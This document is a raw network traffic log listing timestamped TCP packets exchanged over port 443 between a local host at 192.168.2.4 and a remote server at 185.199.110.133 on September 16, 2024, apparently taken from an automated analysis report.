Sep 16, 2024 19:33:08.943083048 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:08.943114996 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.055402040 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.055557966 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.151422977 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.152283907 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.276312113 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.276329994 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.276354074 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.276381969 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.276441097 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.276460886 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.276478052 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.276524067 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.276524067 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.276536942 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.276571035 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.276602983 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.276603937 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.276603937 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.276652098 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.467407942 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.467499018 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.483428001 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.488291979 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.604434967 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.604492903 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.604545116 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.604571104 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.604655027 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.604674101 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.604718924 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.604770899 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.604770899 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.604770899 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.815407038 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.816203117 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.851449966 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.851591110 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925149918 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925167084 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925177097 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925283909 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925302029 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925309896 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925360918 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925405979 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925405979 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925429106 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925436974 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925440073 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925452948 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925452948 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925488949 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925502062 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925515890 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925534964 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925560951 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925569057 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925575972 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925585985 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925586939 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925586939 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925595999 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925600052 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925612926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925647974 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925659895 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925667048 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925674915 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925697088 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925705910 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925729990 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925733089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925740004 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925796032 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925801992 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925834894 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925834894 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925841093 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925848007 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925878048 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925908089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925937891 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925952911 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.925975084 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.925976038 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.926012039 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.926012039 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.926043034 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.955524921 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.955554962 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.955601931 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.955626965 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.955703020 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.955720901 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.955763102 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:09.955859900 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.955859900 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:09.955895901 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.131437063 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.131514072 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.163430929 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.163553953 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.280941963 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.281001091 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.281044960 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.281064987 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.281198978 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.281220913 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.281281948 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.281317949 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.281317949 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.281353951 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.303397894 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.303478956 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.491404057 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.491462946 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.555437088 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.555535078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.698878050 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.698900938 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.698981047 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.699044943 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.699058056 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.699084044 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.699111938 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.699139118 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.699139118 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.699152946 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.699214935 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:10.699254036 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.699254036 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.699286938 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:10.903429985 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014084101 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014101028 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014111996 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014183044 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014183044 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014189005 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014199972 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014208078 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014261961 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014266014 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014281034 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014286041 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014302015 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014307976 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014374971 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014379978 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014394999 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014399052 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014415979 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014420033 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014518023 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014523029 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014537096 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014585972 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014585972 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014592886 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014707088 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014712095 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014791965 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014797926 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014858961 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014862061 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014888048 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.014976025 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.014981985 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015013933 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015017986 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015038967 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015110970 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015110970 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015116930 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015129089 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015191078 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015196085 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015223026 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015227079 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015274048 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015280008 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015405893 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015405893 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015413046 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015424967 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015470028 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015500069 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015503883 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015520096 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015539885 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015584946 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015608072 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015635014 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015635014 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015642881 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015671968 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015672922 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015696049 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015738964 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015743971 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015759945 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015786886 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015794039 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015836954 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015836954 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015841961 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015863895 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015883923 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015923023 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015927076 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015938997 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.015954018 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.015971899 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016005039 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016009092 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016041040 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016062021 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016083956 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016132116 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016135931 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016148090 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016168118 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016205072 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016210079 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016243935 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016244888 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016258955 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016278982 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016329050 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016329050 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016333103 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016369104 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016398907 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016407013 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016411066 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016443968 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016443968 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016468048 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016488075 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016522884 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016526937 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016547918 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016554117 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016577005 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016586065 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016588926 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016611099 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016644001 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016661882 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016680002 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016685009 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016694069 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016716003 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016724110 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016746044 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016747952 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016758919 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016794920 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016794920 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016819000 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016845942 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016886950 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016891003 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016910076 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016911030 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016932964 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016940117 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016944885 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.016979933 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.016979933 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.017004967 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.017024040 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.017060995 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.017065048 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.017096043 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.017096043 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.017102003 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.017193079 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031507015 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031512976 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031526089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031611919 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031616926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031644106 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031696081 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031699896 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031713963 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031763077 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031766891 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031797886 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031801939 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031811953 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031847954 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031852007 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031948090 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031948090 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.031954050 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031960011 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031977892 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031982899 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.031989098 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032145023 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032145023 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032154083 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032165051 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032176018 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032180071 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032182932 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032284021 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032288074 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032377958 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032382965 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032394886 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032417059 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032419920 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032423973 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032427073 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032474995 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032480001 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032594919 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032594919 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032601118 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032607079 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032670021 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032721043 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032747984 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032752991 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032777071 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.032831907 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032831907 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.032839060 CEST	443	49765	185.199.110.133	192.168.2.4
